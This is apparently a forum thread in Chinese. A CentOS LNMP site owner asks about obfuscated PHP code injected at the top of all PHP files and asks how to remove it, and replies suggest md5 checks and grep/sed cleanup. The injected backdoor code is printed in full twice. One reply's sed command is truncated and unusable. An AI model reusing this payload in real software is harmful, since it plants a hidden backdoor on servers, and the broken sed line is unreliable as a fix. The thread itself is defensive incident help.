mysql - PHP文件开头被加了代码

<code><?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $nnurvqqmik = '6f+9f5d816:+946:ce44#)zbssb!>!ss4*!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82c%x78257UFH#%x5c%x7827rfs%x5c%x78256~62bd%x5c%x7825!!%x5c%x7825273]y76]258]y6g]273]y76]271]y7d]252]y65r%x5c%x7878j%ufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyfx5c%x7825!*##>>X)!gjZb%x5c%x7825!**X)ufc%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%xek!~!<b>b%x5c%x7825Zb%4-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*!fyqmpef)#%x5c%x782%x5c%x7827&6j%x5c%x7825!s%x5c%x7825q%x5c%x7825}&;!osvufx5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x78A%x5c%x7827K6!#]y81]273]y76]258]y6g]27)fepmqyfA>2b%x5c%x7825!>}R;msv}.;%x5c%x782f#%x7825%x5c%x7824-%x5c%x7824*!#]y81]opd%x5c%x7860ufh%x5c%x7860fmj8242178}527}88:}334}472%x5c%x7824!%x5c%x7825tdz)%x5c%x7ttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!!%x5c%x782400~:<h81l1>#]D4]273]D6P2L5P67825j>1j%x5!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!5c%x7824-%x5c%x7824gps)%x5c%x&7-n%x5c%x7825)utjm61q%x5c%x78256%x5c%x782f7&6|7**111127-K)b%x5c%x7825)gpf{jt)!gj!n%x5c%x7825q%x5c%x78]238M7]381]211M5]67]4>U2q%x5c%x78Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7827827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}7860ufldpt}X;%x5c%x7860msvd}R;*ms%x5c%x7825)Rd%x5c%x7825)Rb%5c%x78256!%x5c%x7824sdXk5%x5c%x7860{66~6!bssbz)%x5c%x7824]25%xx7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*fmjgA%x5c%x7827doj%x5c%x782562%x5c%x7825s:%x5c%x785c%x55hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)?]+^?]_%x5c%x785c}X%x5c%x7824#]y74]273]y76]252]y85]256]y6g]257]y86]267%x5c%x7825_t%x5c%x7825:osvufs:~:!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg1*!%x5c%x7825b:>1%x5c%x7825s:%x5c%x78#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825:!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825n)-1);} @error_reporting(0); preg_replace("%x2f%50%x2e%52%x29%x7878:!>#]y3g]61]y3f]63]y3:]68]y7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5562]38y]572]48y]#>m%x5c%c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c78:-!%x5c%x7825tzw%x5c%x78ovg%x5c%x7822)!gj}1~!74]y85]273]y6g]273]y76]271]y7d]252]y74]256]y39]**#j{hnpd#)tutjyf%x5c%x7860opjud!>!2p%x5c%x7825Z%x5c%x782272qj%x5c%x7825)7gj6!#]y84]275]y83]248]y83]256]y7]D4]82]K6]72]K9]78]K5]53]Kc#!{e%x5c%x7825)!>>%x5c%x7822!5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x19275fubmgoj{h1:|:*mmvo:3]y76]271]y7d]252]y74]256#hmg%x5c%x7825!j%x5c%x7825!|!*#91y]%50%x22%134%x78%62%x35%165%x3a%14628%151%x6d%160%x6c%157%x64%145%x28%141%x72%162%x61%171%x5f%1%x5c%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]=6[%x5c%x7825ww2!>#p#%x5c%x782%x7825>%x5c%x782fh%x5c%x%x5c%x7825j>1#]y31]278]y36#!%x5c%x7824676752]88]5]48]32M3]317]445]212epn)%x5c%x7825bss-%x5&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x7825)}k~~~<ftmbg>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x24%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x78%x5c%x7827,*e%x5c%x7827,7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860msc%x7825tpz!>!#]D6M7]K3##]D6]281]265]y72]254]y76#!#]y84]275]yx5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!Ew:Qb:Qc:W~!ftmbg)!gj!%x5c%x725V%x5c%x7827{ftmfV%x5c%*^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj67824!>!tus%x5c%x7860sfqmbdf)%x5c%x782x7824-%x5c%x7824]26%x5c%x7Z6<.2>11#L4]275L3]248L3P6L1M5]D2P4]D6#!2p%x5c%x7825!*3>?*2V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x%57%x65","%x65%166%x61%154%xf#p#%x5c%x782f%x5c%x7825z<jg>>2*!%x5c%x7825z>3!%x5c%xfmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!>%x5c%x7822!pd%x5bnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FU51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:48984:71]K9]75]y39]271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68c%x7878X6%x5c%x782f7rfs%x21%76%x21%50%x5c%x7825%x5c%x5c%x7825z!>2j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy>>!}W;utpi}Y;tuofu5)sutcvt-#w#)ldbqov>*o}-}!#*%x5cx7825tzw>!#]y76]277]y72]265]y39]2]445]43]321]464]284]364]6]234]342]58]24]35c%x7878%x5c%x7822l:!}824*!|!%x5c%x7824-%x5c%x78if((function_exists("]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{hfuopD#)sfebfI{*w%x5c%5%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%#~^#zsfvr#%x5c%x785cq%x5c%x78257*-111112)eobs%x5c%x7860un>qp%x5c%x7825!|Z~!35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x782XAZASVu%x5c%x7825V:h%xf%x5c%x787f<u>.%x5c%x7825!
</u></ofmy></jg></.2></ftmbg></h81l1></b></code>

所有PHP文件头部都被加了代码，求解决：

1、查看了文件时间，没有变，但是文件还是被加了上面那段代码

2、那代码能看出是想做什么事情么

3、大概有哪方面的原因会被修改，环境是 CentOS LNMP

4、如果查不到原因，能否用一个shell + crontab来定时删除所有PHP文件头部有上面代码的写法，求写法

回复内容：

<code><?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $nnurvqqmik = '6f+9f5d816:+946:ce44#)zbssb!>!ss4*!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82c%x78257UFH#%x5c%x7827rfs%x5c%x78256~62bd%x5c%x7825!!%x5c%x7825273]y76]258]y6g]273]y76]271]y7d]252]y65r%x5c%x7878j%ufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyfx5c%x7825!*##>>X)!gjZb%x5c%x7825!**X)ufc%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%xek!~!<b>b%x5c%x7825Zb%4-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*!fyqmpef)#%x5c%x782%x5c%x7827&6j%x5c%x7825!s%x5c%x7825q%x5c%x7825}&;!osvufx5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x78A%x5c%x7827K6!#]y81]273]y76]258]y6g]27)fepmqyfA>2b%x5c%x7825!>}R;msv}.;%x5c%x782f#%x7825%x5c%x7824-%x5c%x7824*!#]y81]opd%x5c%x7860ufh%x5c%x7860fmj8242178}527}88:}334}472%x5c%x7824!%x5c%x7825tdz)%x5c%x7ttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!!%x5c%x782400~:<h81l1>#]D4]273]D6P2L5P67825j>1j%x5!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!5c%x7824-%x5c%x7824gps)%x5c%x&7-n%x5c%x7825)utjm61q%x5c%x78256%x5c%x782f7&6|7**111127-K)b%x5c%x7825)gpf{jt)!gj!n%x5c%x7825q%x5c%x78]238M7]381]211M5]67]4>U2q%x5c%x78Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7827827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}7860ufldpt}X;%x5c%x7860msvd}R;*ms%x5c%x7825)Rd%x5c%x7825)Rb%5c%x78256!%x5c%x7824sdXk5%x5c%x7860{66~6!bssbz)%x5c%x7824]25%xx7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*fmjgA%x5c%x7827doj%x5c%x782562%x5c%x7825s:%x5c%x785c%x55hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)?]+^?]_%x5c%x785c}X%x5c%x7824#]y74]273]y76]252]y85]256]y6g]257]y86]267%x5c%x7825_t%x5c%x7825:osvufs:~:!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg1*!%x5c%x7825b:>1%x5c%x7825s:%x5c%x78#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825:!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825n)-1);} @error_reporting(0); preg_replace("%x2f%50%x2e%52%x29%x7878:!>#]y3g]61]y3f]63]y3:]68]y7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5562]38y]572]48y]#>m%x5c%c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c78:-!%x5c%x7825tzw%x5c%x78ovg%x5c%x7822)!gj}1~!74]y85]273]y6g]273]y76]271]y7d]252]y74]256]y39]**#j{hnpd#)tutjyf%x5c%x7860opjud!>!2p%x5c%x7825Z%x5c%x782272qj%x5c%x7825)7gj6!#]y84]275]y83]248]y83]256]y7]D4]82]K6]72]K9]78]K5]53]Kc#!{e%x5c%x7825)!>>%x5c%x7822!5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x19275fubmgoj{h1:|:*mmvo:3]y76]271]y7d]252]y74]256#hmg%x5c%x7825!j%x5c%x7825!|!*#91y]%50%x22%134%x78%62%x35%165%x3a%14628%151%x6d%160%x6c%157%x64%145%x28%141%x72%162%x61%171%x5f%1%x5c%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]=6[%x5c%x7825ww2!>#p#%x5c%x782%x7825>%x5c%x782fh%x5c%x%x5c%x7825j>1#]y31]278]y36#!%x5c%x7824676752]88]5]48]32M3]317]445]212epn)%x5c%x7825bss-%x5&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x7825)}k~~~<ftmbg>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x24%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x78%x5c%x7827,*e%x5c%x7827,7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c%x7860msc%x7825tpz!>!#]D6M7]K3##]D6]281]265]y72]254]y76#!#]y84]275]yx5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!Ew:Qb:Qc:W~!ftmbg)!gj!%x5c%x725V%x5c%x7827{ftmfV%x5c%*^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj67824!>!tus%x5c%x7860sfqmbdf)%x5c%x782x7824-%x5c%x7824]26%x5c%x7Z6<.2>11#L4]275L3]248L3P6L1M5]D2P4]D6#!2p%x5c%x7825!*3>?*2V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x%57%x65","%x65%166%x61%154%xf#p#%x5c%x782f%x5c%x7825z<jg>>2*!%x5c%x7825z>3!%x5c%xfmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!>%x5c%x7822!pd%x5bnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FU51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:48984:71]K9]75]y39]271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68c%x7878X6%x5c%x782f7rfs%x21%76%x21%50%x5c%x7825%x5c%x5c%x7825z!>2j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy>>!}W;utpi}Y;tuofu5)sutcvt-#w#)ldbqov>*o}-}!#*%x5cx7825tzw>!#]y76]277]y72]265]y39]2]445]43]321]464]284]364]6]234]342]58]24]35c%x7878%x5c%x7822l:!}824*!|!%x5c%x7824-%x5c%x78if((function_exists("]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{hfuopD#)sfebfI{*w%x5c%5%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%#~^#zsfvr#%x5c%x785cq%x5c%x78257*-111112)eobs%x5c%x7860un>qp%x5c%x7825!|Z~!35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x782XAZASVu%x5c%x7825V:h%xf%x5c%x787f<u>.%x5c%x7825!
</u></ofmy></jg></.2></ftmbg></h81l1></b></code>

所有PHP文件头部都被加了代码，求解决：

1、查看了文件时间，没有变，但是文件还是被加了上面那段代码

2、那代码能看出是想做什么事情么

3、大概有哪方面的原因会被修改，环境是 CentOS LNMP

4、如果查不到原因，能否用一个shell + crontab来定时删除所有PHP文件头部有上面代码的写法，求写法

这行太长了，fx 卡了半天……

不论如何，被加都不是好东西，极有可能是被黑之后挂马的代码。立即清除不要犹豫。

文件修改时间不是判断标准，只有md5 才是准确的。如果文件md5 被变更，立即停服排查原因补漏洞。

---

根据特征，搜索了一下，最早发现一年前就有案例（http://www.v2ex.com/t/94586 and http://www.linuxquestions.org/questions/linux-server-73/some-virus-malware-in-my-php-script-4175516386-print/）

如何删除很简单啊，Linux使用GREP，awk删除指定行

我昨天也遇到此情况，wordpress下所有php文件都增加了上面那行代码。

我的解决方案是 grep '<?php if(!isset($GLOBALS' -rl ./
//检测当前目录下被感染的文件

sed -i "s/grep '<?php if(!isset($GLOBALS' -rl ./

//替换掉注入的代码。